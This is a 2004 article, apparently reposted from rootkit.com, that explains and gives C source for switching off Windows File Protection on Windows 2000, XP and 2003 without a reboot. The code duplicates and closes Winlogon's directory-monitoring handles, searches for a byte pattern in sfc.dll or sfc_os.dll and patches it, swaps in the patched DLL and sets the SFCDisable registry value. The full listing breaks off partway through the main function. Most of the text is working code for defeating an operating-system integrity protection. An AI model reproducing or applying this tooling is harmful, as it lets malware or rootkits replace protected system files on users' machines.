Windows File Protection: How To Disable It On The Fly

This article was released on www.rootkit.com on november the 9th, 2004.

In this article I'll show you how to deactive the Windows File Protection without rebooting to safe mode or recovery console. Yes, you heard it, I show you how to change system files without the system noticing it and replacing the original files. If you don't know what the Windows File Protection (WFP) is, find something with goolge: there are articles about that all over the internet. Anyway I can guarantee you that there aren't articles on this subject.

Actually, I didn't want to release this article. Mainly because I was afraid that it could help viruses and spywares to do their job, and then because I wrote this code for someone in the first place. What changed my mind is that this code is useful only if you run it with admin privileges and a program which runs with these privileges can do pretty much damage anyway, so I don't think this code can make it a lot worse. Moreover the system file protection as it is implemented nowadays is going to get old and this code too, so I think to release is ok. XP's Service Pack 2 was already released without affecting the WFP and that means I'm not damaging anyone (who is using this code or the same tecnique) by releasing this code. By the way, it's not that hard to trick the WFP, it just took me 2 hours at the time I made it...

First of all, before we can code something, we have to see how the WFP works. To do this I had to give a look to the sfc_os.dll (sfc.dll if we're talking about Win2k) and the Winlogon.exe (well, to see that he is the one who calls the sfc dll is very simple: you just need a process viewer). Without showing you disasms, I just say you that Winlogon refers to the sfc.dll, which then refers to the sfc_os.dll (most of the sfc.dll's exports are forwarded (and of course I'm talking about XP)). The function which starts the WFP is the ordinal one, which forwards to sfc_os.dll's ordinal 1. What really does this function? I was going through the code, when I saw the calls to retrieve the WFP's options registry values, then I saw a lot of events stuff... Suddenly I found this code:

```
.text:76C2B9ED       push    ebp
.text:76C2B9EE       mov     ebp, esp
.text:76C2B9F0       push    ebx
.text:76C2B9F1       push    esi
.text:76C2B9F2       mov     esi, [ebp+arg_0]
.text:76C2B9F5       mov     eax, [esi+14h]
.text:76C2B9F8       xor     ebx, ebx
.text:76C2B9FA       cmp     eax, ebx
.text:76C2B9FC       jz      short loc_76C2BA1B
.text:76C2B9FE       cmp     [eax+134h], ebx
.text:76C2BA04       jz      short loc_76C2BA1B
.text:76C2BA06       mov     eax, [eax+138h]
.text:76C2BA0C       and     al, 1
.text:76C2BA0E       dec     al
.text:76C2BA10       neg     al
.text:76C2BA12       sbb     al, al
.text:76C2BA14       inc     al
.text:76C2BA16       mov     byte ptr [ebp+arg_0], al
.text:76C2BA19       jmp     short loc_76C2BA1E
.text:76C2BA1B
.text:76C2BA1B                loc_76C2BA1B:
.text:76C2BA1B
.text:76C2BA1B       mov     byte ptr [ebp+arg_0], bl
.text:76C2BA1E
.text:76C2BA1E                loc_76C2BA1E:
.text:76C2BA1E
.text:76C2BA1E       push    [ebp+arg_0]
.text:76C2BA21       lea     eax, [esi+8]
```

```
.text:76C2BA24        push    0C5Bh
.text:76C2BA29        push    1000h
.text:76C2BA2E        push    dword ptr [esi+10h]
.text:76C2BA31        push    eax
.text:76C2BA32        push    ebx
.text:76C2BA33        push    ebx
.text:76C2BA34        push    dword ptr [esi+4]
.text:76C2BA37        push    dword ptr [esi]
.text:76C2BA39        call    ds:NtNotifyChangeDirectoryFile
.text:76C2BA3F        cmp     eax, ebx
.text:76C2BA41        jge     short loc_76C2BA9A
.text:76C2BA43        cmp     eax, 103h
.text:76C2BA48        jnz     short loc_76C2BA76
.text:76C2BA4A        push    ebx
.text:76C2BA4B        push    1
.text:76C2BA4D        push    dword ptr [esi+4]
.text:76C2BA50        call    ds:NtWaitForSingleObject
.text:76C2BA56        cmp     eax, ebx
.text:76C2BA58        jge     short loc_76C2BA9A
```

And I realized that the WFP was implemented in user mode context only (what a lame protection)! Maybe you're not familiar with NtNotifyChangeDirectoryFile (the native function of FindFirstChangeNotification)... Well let's look at the msdn documentation:

"The FindFirstChangeNotification function creates a change notification handle and sets up initial change notification filter conditions. A wait on a notification handle succeeds when a change matching the filter conditions occurs in the specified directory or subtree. However, the function does not indicate the change that satisfied the wait condition."

And:

"The wait functions can monitor the specified directory or subtree by using the handle returned by the FindFirstChangeNotification function. A wait is satisfied when one of the filter conditions occurs in the monitored directory or subtree.

After the wait has been satisfied, the application can respond to this condition and continue monitoring the directory by calling the FindNextChangeNotification function and the appropriate wait function. When the handle is no longer needed, it can be closed by using the FindCloseChangeNotification function."

What does tha mean? That the Winlogon's process (through sfc) monitors each directory which contains protected files, in fact if you look into this process with an object viewer (like the one on sysinternals), you'll see a handle for each protected directory. Well that means that we only have to close those handles with FindCloseChangeNotification (or CloseHandle, which is the same) to stop the WFP monitoring system directories. Ok, here's the thing: we disable the WFP from user-mode code... Cool, isn't it? Not really, actually: it would be better if the job wasn't that easy, I mean for the system security.

Let's start with the code: the basic syntax of the function I wrote is this:

```
void main()
{
   if (TrickWFP() == TRUE)
   {
      // ok
   }
   else
   {
      // wrong
   }
}
```

Pretty simple to call I think. Let's see the function, first of all I check the operating system we are running on:

```
   osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

   if (!GetVersionEx((OSVERSIONINFO *) &osvi))
   {
      osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

      if (!GetVersionEx ((OSVERSIONINFO *) &osvi))
         return FALSE;
   }


   if (osvi.dwPlatformId != VER_PLATFORM_WIN32_NT ||
      osvi.dwMajorVersion <= 4)
      return FALSE;
```

If I'm on a not-NT-based system or on NT 4.0 then return FALSE (WFP was implemented up Win2k, you know). Then we need some functions whose address we get with GetProcAddress:

```
   // ntdll functions

   pNtQuerySystemInformation = (NTSTATUS (NTAPI *)(
      SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))
      GetProcAddress(hNtDll, "NtQuerySystemInformation");

   pNtQueryObject = (NTSTATUS (NTAPI *)(HANDLE,
      OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))
      GetProcAddress(hNtDll, "NtQueryObject");

   // psapi functions

   pEnumProcesses = (BOOL (WINAPI *)(DWORD *, DWORD, DWORD *))
      GetProcAddress(hPsApi, "EnumProcesses");

   pEnumProcessModules = (BOOL (WINAPI *)(HANDLE, HMODULE *,
      DWORD, LPDWORD)) GetProcAddress(hPsApi, "EnumProcessModules");

   pGetModuleFileNameExW = (DWORD (WINAPI *)(HANDLE, HMODULE,
      LPWSTR, DWORD)) GetProcAddress(hPsApi, "GetModuleFileNameExW");

   if (pNtQuerySystemInformation         == NULL ||
      pNtQueryObject             == NULL ||
      pEnumProcesses             == NULL ||
      pEnumProcessModules          == NULL ||
      pGetModuleFileNameExW          == NULL)
      return FALSE;
```

We see later why we need these functions. Next step is to get "SeDebugPrivileges" adjusting the token's privileges (we could do this only if we run as admin application of course).

```
   if (SetPrivileges() == FALSE)
      return FALSE;
```

Here's the function:

```
BOOL SetPrivileges(VOID)
{
   HANDLE hProc;
   LUID luid;
   TOKEN_PRIVILEGES tp;
   HANDLE hToken;
   TOKEN_PRIVILEGES oldtp;
   DWORD dwSize;

   hProc = GetCurrentProcess();

   if (!OpenProcessToken(hProc, TOKEN_QUERY |
      TOKEN_ADJUST_PRIVILEGES, &hToken))
      return FALSE;

   if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
   {
      CloseHandle (hToken);
      return FALSE;
   }

   ZeroMemory(&tp, sizeof (tp));

   tp.PrivilegeCount = 1;
   tp.Privileges[0].Luid = luid;
   tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
      &oldtp, &dwSize))
   {
      CloseHandle(hToken);
      return FALSE;
   }

   return TRUE;
}
```

Then we have to get Winlogon's ProcessID, so we have to go through all the processes running to find Winlogon:

```
   // search winlogon

   dwSize2 = 256 * sizeof(DWORD);

   do
   {
      if (lpdwPIDs)
      {
         HeapFree(GetProcessHeap(), 0, lpdwPIDs);
         dwSize2 *= 2;
      }

      lpdwPIDs = (LPDWORD) HeapAlloc(GetProcessHeap(), 0, dwSize2);

        if (lpdwPIDs == NULL)
         return FALSE;

      if (!pEnumProcesses(lpdwPIDs, dwSize2, &dwSize))
         return FALSE;

   } while (dwSize == dwSize2);

   dwSize /= sizeof(DWORD);

   for (dwIndex = 0; dwIndex < dwSize; dwIndex++)
   {
      Buffer[0] = 0;

      hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
         PROCESS_VM_READ, FALSE, lpdwPIDs[dwIndex]);

      if (hProcess != NULL)
      {
         if (pEnumProcessModules(hProcess, &hMod,
            sizeof(hMod), &dwSize2))
         {
            if (!pGetModuleFileNameExW(hProcess, hMod,
               Buffer, sizeof(Buffer)))
            {
               CloseHandle(hProcess);
               continue;
            }
            }
         else
         {
            CloseHandle(hProcess);
            continue;
         }

         if (Buffer[0] != 0)
         {
            GetFileName(Buffer);

            if (CompareStringW(0, NORM_IGNORECASE,
               Buffer, -1, WinLogon, -1) == CSTR_EQUAL)
            {
               // winlogon process found
               WinLogonId = lpdwPIDs[dwIndex];
               CloseHandle(hProcess);
               break;
            }

            dwLIndex++;
         }

         CloseHandle(hProcess);
      }

   }

   if (lpdwPIDs)
      HeapFree(GetProcessHeap(), 0, lpdwPIDs);
```

Now that we have our ProcessID, we can open this process:

```
   hWinLogon = OpenProcess(PROCESS_DUP_HANDLE, 0, WinLogonId);

   if (hWinLogon == NULL)
   {
      return FALSE;
   }
```

Why am I using the PROCESS_DUP_HANDLE? What's that? We need this flag to use the function DuplicateHandle (ZwDuplicateObject if it sounds more familiar to you), we see later what we need this function for. Now:

```
   nt = pNtQuerySystemInformation(SystemHandleInformation, NULL, 0, &uSize);

   while (nt == STATUS_INFO_LENGTH_MISMATCH)
   {
      uSize += 0x1000;

      if (pSystemHandleInfo)
         VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);

      pSystemHandleInfo = (PSYSTEMHANDLEINFO) VirtualAlloc(NULL, uSize,
         MEM_COMMIT, PAGE_READWRITE);
      if (pSystemHandleInfo == NULL)
      {
         CloseHandle(hWinLogon);
         return FALSE;
      }

      nt = pNtQuerySystemInformation(SystemHandleInformation,
         pSystemHandleInfo, uSize, &uBuff);
   }

   if (nt != STATUS_SUCCESS)
   {
      VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);
      CloseHandle(hWinLogon);
      return FALSE;
   }
```

This code retrieves all system-wide opened handles, including those of the Winlogon process. Let's see the following steps:

1) go through all the opened handles checking those owned by the Winlogon

2) duplicate each winlogon handle to our process with DuplicateHandle, which give us then the right to ask for the handle/object name with NtQueryObject.

3) if the object name is one of those directory we want to stop the monitoring for, we need to call DuplicateHandle again with DUPLICATE_CLOSE_SOURCE flag to be able then to call CloseHandle and close this damn handle.

The first two points don't need to be explained more, I think. But the third point has to be clear, we have to close the handles of EVERY system directory we want to modify files in. Moreover, to disable the WFP, we have to disable at least the monitoring for the System32 direcotry. The object name of a directory is something like this: Harddisk00\\Windows\\System32; and 'cause I was to lazy to convert harddiskxx to a letter like C, I wrote a case-ignoring function that compares string backwards:

```
BOOL CompareStringBackwards(WCHAR *Str1, WCHAR *Str2)
{
   INT Len1 = wcslen(Str1), Len2 = wcslen(Str2);


   if (Len2 > Len1)
      return FALSE;

   for (Len2--, Len1--; Len2 >= 0; Len2--, Len1--)
   {
      if (Str1[Len1] != Str2[Len2])
         return FALSE;
   }

   return TRUE;
}
```

So to know if the current handle is the directory we are looking for we just have to write:

```
if (CompareStringBackwards(ObjName.Buffer, L"WINDOWS\\SYSTEM32")
```

And let's not forget that Win2k uses WINNT as windows directory, so we have to check both strings:

```
if (CompareStringBackwards(ObjName.Buffer, L"WINDOWS\\SYSTEM32") ||
CompareStringBackwards(ObjName.Buffer, L"WINNT\\SYSTEM32"))
```

if one of these string matches, we'll close the handle:

```
   CloseHandle(hCopy);  // old DuplicateHandle handle

   DuplicateHandle(hWinLogon,
      (HANDLE) pSystemHandleInfo->HandleInfo[i].HandleValue,
      GetCurrentProcess(), &hCopy, 0, FALSE,
      DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS);

   CloseHandle(hCopy);
```

Now we have disabled the monitoring of the System32 directory, what now? Well, to really disable the WFP we have to patch sfc.dll (Win2k) or sfc_os.dll (XP and later). If you're familiar with disabling the WFP, you know what i'm talking about: in Win2k (berfore Service Pack 1) in order to disable (at the next boot) the WFP you just had to modify a registry key to a sort of magic value (0xFFFFFF9D), because the sfc.dll accepted that as an option to disable the WFP, but from Win2k SP1 things got a little more complicate, 'cause this value wasn't removed but it was no longer accepted by sfc.dll, in fact this dll suddenly acted like that (this is a Win2k SP2 sfc.dll):

```
.text:76956C07      mov     eax, dword_769601D4
.text:76956C0C      cmp     eax, 0FFFFFF9Dh
.text:76956C0F      jnz     short loc_76956C18
.text:76956C11      mov     eax, esi                ; overwrite eax
.text:76956C13      mov     dword_769601D4, eax
```

As you can see, if the value is 0xFFFFFF9D, it will be overwritten. So if we patch the "mov eax, esi" instruction, the magic value will be value. The normal method to disable WFP is to boot in safe mode (or recovery console), replace the patched dll with the orignal and then boot again; but we are gonna do this on the fly. We use a little trick to replace the dll, 'cause it's not possible to delete a loaded library (loaded by Winlogon) we just rename it with MoveFile and then place our patched file with the original file, of course the WFP won't react... We have disabled its protection for the System32 directory, remember? There's still one problem left: there are many versions of sfc.dll and sfc_os.dll, do we need to know the exact offset where to patch for every version? Of course not! I simply made a smart patch who goes through the section code searching for some specific bytes I always found analyzing some versions of those dlls: here are the dlls I saw:

1 - Win2k SP2 sfc.dll

```
.text:76956C07 A1 D4 01 96 76                     mov     eax, dword_769601D4
.text:76956C0C 83 F8 9D                           cmp     eax, 0FFFFFF9Dh
.text:76956C0F 75 07                              jnz     short loc_76956C18
.text:76956C11 8B C6                              mov     eax, esi
.text:76956C13 A3 D4 01 96 76                     mov     dword_769601D4, eax
.text:76956C18
.text:76956C18                    loc_76956C18:
.text:76956C18 3B C3                              cmp     eax, ebx
.text:76956C1A 74 3E                              jz      short loc_76956C5A
.text:76956C1C 3B C6                              cmp     eax, esi
.text:76956C1E 0F 84 97 01 00+                    jz      loc_76956DBB
.text:76956C24 83 F8 02                           cmp     eax, 2
.text:76956C27 0F 84 7D 01 00+                    jz      loc_76956DAA
.text:76956C2D 83 F8 03                           cmp     eax, 3
.text:76956C30 0F 84 E8 00 00+                    jz      loc_76956D1E
.text:76956C36 83 F8 04                           cmp     eax, 4
.text:76956C39 0F 84 CE 00 00+                    jz      loc_76956D0D
.text:76956C3F 83 F8 9D                           cmp     eax, 0FFFFFF9Dh
.text:76956C42 53                                 push    ebx
.text:76956C43 0F 84 82 01 00+                    jz      loc_76956DCB
```

2 - WinXP Home Edition sfc_os.dll

```
.text:76C2EFB1 A1 58 D1 C3 76                mov     eax, dword_76C3D158
.text:76C2EFB6 83 F8 9D                      cmp     eax, 0FFFFFF9Dh
.text:76C2EFB9 75 07                         jnz     short loc_76C2EFC2
.text:76C2EFBB 8B C6                         mov     eax, esi
.text:76C2EFBD A3 58 D1 C3 76                mov     dword_76C3D158, eax
.text:76C2EFC2
.text:76C2EFC2                loc_76C2EFC2:
.text:76C2EFC2 3B C7                         cmp     eax, edi
.text:76C2EFC4 74 56                         jz      short loc_76C2F01C
.text:76C2EFC6 3B C6                         cmp     eax, esi
.text:76C2EFC8 0F 84 1A 01 00+               jz      loc_76C2F0E8
.text:76C2EFCE 83 F8 02                      cmp     eax, 2
.text:76C2EFD1 0F 84 FC 00 00+               jz      loc_76C2F0D3
.text:76C2EFD7 83 F8 03                      cmp     eax, 3
.text:76C2EFDA 74 7D                         jz      short loc_76C2F059
.text:76C2EFDC 83 F8 04                      cmp     eax, 4
.text:76C2EFDF 74 2F                         jz      short loc_76C2F010
.text:76C2EFE1 83 F8 9D                      cmp     eax, 0FFFFFF9Dh
.text:76C2EFE4 0F 84 0D 01 00+               jz      loc_76C2F0F7
```

3 - WinXP Professional Edition sfc_os.dll

```
.text:76C2EEAE A1 58 D1 C3 76                mov     eax, dword_76C3D158
.text:76C2EEB3 83 F8 9D                      cmp     eax, 0FFFFFF9Dh
.text:76C2EEB6 75 07                         jnz     short loc_76C2EEBF
.text:76C2EEB8 8B C6                         mov     eax, esi
.text:76C2EEBA A3 58 D1 C3 76                mov     dword_76C3D158, eax
.text:76C2EEBF
.text:76C2EEBF                loc_76C2EEBF:
.text:76C2EEBF 3B C7                         cmp     eax, edi
.text:76C2EEC1 74 56                         jz      short loc_76C2EF19
.text:76C2EEC3 3B C6                         cmp     eax, esi
.text:76C2EEC5 0F 84 1A 01 00+               jz      loc_76C2EFE5
.text:76C2EECB 83 F8 02                      cmp     eax, 2
.text:76C2EECE 0F 84 FC 00 00+               jz      loc_76C2EFD0
.text:76C2EED4 83 F8 03                      cmp     eax, 3
.text:76C2EED7 74 7D                         jz      short loc_76C2EF56
.text:76C2EED9 83 F8 04                      cmp     eax, 4
.text:76C2EEDC 74 2F                         jz      short loc_76C2EF0D
.text:76C2EEDE 83 F8 9D                      cmp     eax, 0FFFFFF9Dh
.text:76C2EEE1 0F 84 0D 01 00+               jz      loc_76C2EFF4
```

4 - Win2k3 sfc_os.dll

```
.text:76BEF65E A1 78 E1 BF 76                mov     eax, dword_76BFE178
.text:76BEF663 83 F8 9D                      cmp     eax, 0FFFFFF9Dh
.text:76BEF666 75 07                         jnz     short loc_76BEF66F
.text:76BEF668 8B C6                         mov     eax, esi
.text:76BEF66A A3 78 E1 BF 76                mov     dword_76BFE178, eax
.text:76BEF66F
.text:76BEF66F                loc_76BEF66F:         ; CODE XREF: sfc_os_1+4C8j
.text:76BEF66F 3B C7                         cmp     eax, edi
.text:76BEF671 74 56                         jz      short loc_76BEF6C9
.text:76BEF673 3B C6                         cmp     eax, esi
.text:76BEF675 0F 84 1A 01 00+               jz      loc_76BEF795
.text:76BEF67B 83 F8 02                      cmp     eax, 2
.text:76BEF67E 0F 84 FC 00 00+               jz      loc_76BEF780
.text:76BEF684 83 F8 03                      cmp     eax, 3
.text:76BEF687 74 7D                         jz      short loc_76BEF706
.text:76BEF689 83 F8 04                      cmp     eax, 4
```

```
.text:76BEF68C 74 2F                         jz      short loc_76BEF6BD
.text:76BEF68E 83 F8 9D                      cmp     eax, 0FFFFFF9Dh
.text:76BEF691 0F 84 0D 01 00+               jz      loc_76BEF7A4
```

Here's the sequence of bytes I picked from those dll:

```
   if (pCode[dwCount] == 0x8B && pCode[dwCount + 1] == 0xC6 &&
      pCode[dwCount + 2] == 0xA3 && pCode[dwCount + 7] == 0x3B &&
      pCode[dwCount + 9] == 0x74 && pCode[dwCount + 11] == 0x3B)
```

Here's the patch code:

```
   GetSystemDirectoryW(Buffer, sizeof (WCHAR) * MAX_PATH);
   GetSystemDirectoryW(Buffer2, sizeof (WCHAR) * MAX_PATH);

   wsprintfW(Buffer2, L"%s\\trash%X", Buffer2, GetTickCount());

   if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) // win2k
   {
      wcscat(Buffer, L"\\sfc.dll");
   }
   else // winxp, win2k3
   {
      wcscat(Buffer, L"\\sfc_os.dll");
   }

   hFile = CreateFileW(Buffer, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
      NULL, OPEN_EXISTING, 0, NULL);

   if (hFile == INVALID_HANDLE_VALUE)
   {
      return FALSE;
   }

   dwFileSize = GetFileSize(hFile, NULL);

   pSfc = (BYTE *) VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);

   if (!pSfc)
   {
      CloseHandle(hFile);
      return FALSE;
   }

   if (!ReadFile(hFile, pSfc, dwFileSize, &BRW, NULL))
   {
      CloseHandle(hFile);
      VirtualFree(pSfc, 0, MEM_RELEASE);
      return FALSE;
   }

   CloseHandle(hFile);

   ImgDosHeader = (PIMAGE_DOS_HEADER) pSfc;
   ImgNtHeaders = (PIMAGE_NT_HEADERS)
      (ImgDosHeader->e_lfanew + (ULONG_PTR) pSfc);
   ImgSectionHeader = IMAGE_FIRST_SECTION(ImgNtHeaders);

   // code section

   pCode = (BYTE *) (ImgSectionHeader->PointerToRawData + (ULONG_PTR) pSfc);

   // i gotta find the bytes to patch

   for (dwCount = 0; dwCount < (ImgSectionHeader->SizeOfRawData - 10); dwCount++)
   {
      if (pCode[dwCount] == 0x8B && pCode[dwCount + 1] == 0xC6 &&
         pCode[dwCount + 2] == 0xA3 && pCode[dwCount + 7] == 0x3B &&
         pCode[dwCount + 9] == 0x74 && pCode[dwCount + 11] == 0x3B)
      {
         bFound = TRUE;
         break;
      }
   }

   if (bFound == FALSE)
   {
      // cannot patch
      // maybe w2k without sp1

      goto no_need_to_patch;
   }

   // patch

   pCode[dwCount] = pCode[dwCount + 1] = 0x90;

   // move dll to another place

   MoveFileW(Buffer, Buffer2);

   // create new dll

   hFile = CreateFileW(Buffer, GENERIC_WRITE, FILE_SHARE_READ,
      NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

   if (hFile == INVALID_HANDLE_VALUE)
   {
      // cannot patch

      VirtualFree(pSfc, 0, MEM_RELEASE);
      return FALSE;
   }

   WriteFile(hFile, pSfc, dwFileSize, &BRW, NULL);

   CloseHandle(hFile);

no_need_to_patch:

   VirtualFree(pSfc, 0, MEM_RELEASE);
```

Now we have to write the magic value and also set the registry SFCScan value to 0 (actually it should be already 0, but just to make sure...).

```
   Ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
      L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
      0, KEY_SET_VALUE, &Key);

   if (Ret != ERROR_SUCCESS)
   {
      return FALSE;
   }

   BRW = 0xFFFFFF9D;

   Ret = RegSetValueExW(Key, L"SFCDisable", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));

   if (Ret != ERROR_SUCCESS)
   {
      return FALSE;
   }

   BRW = 0;

   Ret = RegSetValueExW(Key, L"SFCScan", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));

   if (Ret != ERROR_SUCCESS)
   {
      return FALSE;
   }

   RegCloseKey(Key);
```

Ok, now we're done! The WFP was killed! Here's the whole article's code (I wrote the code for VC++ 6):

```
// trick_wfp.c -----------------------------------------------------------

#include <windows.h>
#include <stdio.h>

#ifndef UNICODE_STRING
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
#endif

#ifndef NTSTATUS
typedef LONG NTSTATUS;
#define NT_SUCCESS(Status)  ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS      ((NTSTATUS)0x00000000L)
#endif

#ifndef SYSTEM_INFORMATION_CLASS
typedef enum _SYSTEM_INFORMATION_CLASS {
   SystemBasicInformation,                 // 0
   SystemProcessorInformation,             // 1
   SystemPerformanceInformation,           // 2
   SystemTimeOfDayInformation,             // 3
   SystemNotImplemented1,                  // 4
   SystemProcessesAndThreadsInformation,   // 5
   SystemCallCounts,                       // 6
   SystemConfigurationInformation,         // 7
   SystemProcessorTimes,                   // 8
   SystemGlobalFlag,                       // 9
   SystemNotImplemented2,                  // 10
   SystemModuleInformation,                // 11
   SystemLockInformation,                  // 12
   SystemNotImplemented3,                  // 13
   SystemNotImplemented4,                  // 14
   SystemNotImplemented5,                  // 15
   SystemHandleInformation,                // 16
   SystemObjectInformation,                // 17
   SystemPagefileInformation,              // 18
   SystemInstructionEmulationCounts,       // 19
   SystemInvalidInfoClass1,                // 20
   SystemCacheInformation,                 // 21
   SystemPoolTagInformation,               // 22
   SystemProcessorStatistics,              // 23
   SystemDpcInformation,                   // 24
```

```
    SystemNotImplemented6,                  // 25
    SystemLoadImage,                        // 26
    SystemUnloadImage,                      // 27
    SystemTimeAdjustment,                   // 28
    SystemNotImplemented7,                  // 29
    SystemNotImplemented8,                  // 30
    SystemNotImplemented9,                  // 31
    SystemCrashDumpInformation,             // 32
    SystemExceptionInformation,             // 33
    SystemCrashDumpStateInformation,        // 34
    SystemKernelDebuggerInformation,        // 35
    SystemContextSwitchInformation,         // 36
    SystemRegistryQuotaInformation,         // 37
    SystemLoadAndCallImage,                 // 38
    SystemPrioritySeparation,               // 39
    SystemNotImplemented10,                 // 40
    SystemNotImplemented11,                 // 41
    SystemInvalidInfoClass2,                // 42
    SystemInvalidInfoClass3,                // 43
    SystemTimeZoneInformation,              // 44
    SystemLookasideInformation,             // 45
    SystemSetTimeSlipEvent,                 // 46
    SystemCreateSession,                    // 47
    SystemDeleteSession,                    // 48
    SystemInvalidInfoClass4,                // 49
    SystemRangeStartInformation,            // 50
    SystemVerifierInformation,              // 51
    SystemAddVerifier,                      // 52
    SystemSessionProcessesInformation       // 53
} SYSTEM_INFORMATION_CLASS;
#endif

#ifndef HANDLEINFO
typedef struct HandleInfo{
        ULONG Pid;
        USHORT  ObjectType;
        USHORT  HandleValue;
        PVOID ObjectPointer;
        ULONG AccessMask;
} HANDLEINFO, *PHANDLEINFO;
#endif

#ifndef SYSTEMHANDLEINFO
typedef struct SystemHandleInfo {
        ULONG nHandleEntries;
        HANDLEINFO HandleInfo[1];
} SYSTEMHANDLEINFO, *PSYSTEMHANDLEINFO;
#endif

NTSTATUS (NTAPI *pNtQuerySystemInformation)(
  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength
);

#ifndef STATUS_INFO_LENGTH_MISMATCH
#define STATUS_INFO_LENGTH_MISMATCH   ((NTSTATUS)0xC0000004L)
#endif

#ifndef OBJECT_INFORMATION_CLASS
typedef enum _OBJECT_INFORMATION_CLASS {
    ObjectBasicInformation,
    ObjectNameInformation,
    ObjectTypeInformation,
    ObjectAllTypesInformation,
    ObjectHandleInformation
} OBJECT_INFORMATION_CLASS;
#endif

#ifndef OBJECT_NAME_INFORMATION
typedef struct _OBJECT_NAME_INFORMATION
{
  UNICODE_STRING ObjectName;

} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;
#endif

#ifndef OBJECT_BASIC_INFORMATION
typedef struct _OBJECT_BASIC_INFORMATION
{
  ULONG                  Unknown1;
  ACCESS_MASK            DesiredAccess;
  ULONG                  HandleCount;
  ULONG                  ReferenceCount;
  ULONG                  PagedPoolQuota;
  ULONG                  NonPagedPoolQuota;
  BYTE                   Unknown2[32];
} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;
#endif



NTSTATUS (NTAPI *pNtQueryObject)(IN HANDLE ObjectHandle,
                         IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
                         OUT PVOID ObjectInformation,
                         IN ULONG ObjectInformationLength,
                         OUT PULONG ReturnLength OPTIONAL);


BOOL (WINAPI *pEnumProcesses)(DWORD *lpidProcess, DWORD cb,
                       DWORD *cbNeeded);

BOOL (WINAPI *pEnumProcessModules)(HANDLE hProcess,
                           HMODULE *lphModule,
                           DWORD cb, LPDWORD lpcbNeeded);

DWORD (WINAPI *pGetModuleFileNameExW)(HANDLE hProcess, HMODULE hModule,
                             LPWSTR lpFilename, DWORD nSize);

VOID GetFileName(WCHAR *Name)
{
   WCHAR *path, *New, *ptr;

   path = (PWCHAR) malloc((MAX_PATH + 1) * sizeof (WCHAR));
   New = (PWCHAR) malloc((MAX_PATH + 1) * sizeof (WCHAR));

   wcsncpy(path, Name, MAX_PATH);

   if (wcsncmp(path, L"\\SystemRoot", 11) == 0)
   {
      ptr = &path[11];
      GetWindowsDirectoryW(New, MAX_PATH * sizeof (WCHAR));
      wcscat(New, ptr);
      wcscpy(Name, New);
   }
   else if (wcsncmp(path, L"\\??\\", 4) == 0)
   {
      ptr = &path[4];
      wcscpy(New, ptr);
      wcscpy(Name, New);
   }

   free(path);
   free(New);
}

BOOL SetPrivileges(VOID)
{
   HANDLE hProc;
   LUID luid;
   TOKEN_PRIVILEGES tp;
   HANDLE hToken;
   TOKEN_PRIVILEGES oldtp;
   DWORD dwSize;

   hProc = GetCurrentProcess();

   if (!OpenProcessToken(hProc, TOKEN_QUERY |
      TOKEN_ADJUST_PRIVILEGES, &hToken))
      return FALSE;

   if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
   {
      CloseHandle (hToken);
      return FALSE;
   }

   ZeroMemory (&tp, sizeof (tp));

   tp.PrivilegeCount = 1;
   tp.Privileges[0].Luid = luid;
   tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
      &oldtp, &dwSize))
   {
      CloseHandle(hToken);
      return FALSE;
   }

   return TRUE;
}

BOOL CompareStringBackwards(WCHAR *Str1, WCHAR *Str2)
{
   INT Len1 = wcslen(Str1), Len2 = wcslen(Str2);


   if (Len2 > Len1)
      return FALSE;

   for (Len2--, Len1--; Len2 >= 0; Len2--, Len1--)
   {
      if (Str1[Len1] != Str2[Len2])
         return FALSE;
   }

   return TRUE;
}

BOOL TrickWFP(VOID)
{
   HINSTANCE hNtDll, hPsApi;
   PSYSTEMHANDLEINFO pSystemHandleInfo = NULL;
```

```
ULONG uSize = 0x1000, i, uBuff;
NTSTATUS nt;

// psapi variables

LPDWORD lpdwPIDs = NULL;
DWORD WinLogonId;
DWORD dwSize;
DWORD dwSize2;
DWORD dwIndex;
HMODULE hMod;
HANDLE hProcess, hWinLogon;
DWORD dwLIndex = 0;

WCHAR Buffer[MAX_PATH + 1];
WCHAR Buffer2[MAX_PATH + 1];
WCHAR WinLogon[MAX_PATH + 1];

HANDLE hCopy;

// OBJECT_BASIC_INFORMATION ObjInfo; // inutilizzato
struct { UNICODE_STRING Name; WCHAR Buffer[MAX_PATH + 1]; } ObjName;

OSVERSIONINFOEX osvi;

HANDLE hFile;
DWORD dwFileSize, BRW = 0, dwCount;
BYTE *pSfc, *pCode;
BOOL bFound = FALSE;

PIMAGE_DOS_HEADER ImgDosHeader;
PIMAGE_NT_HEADERS ImgNtHeaders;
PIMAGE_SECTION_HEADER ImgSectionHeader;

HKEY Key;
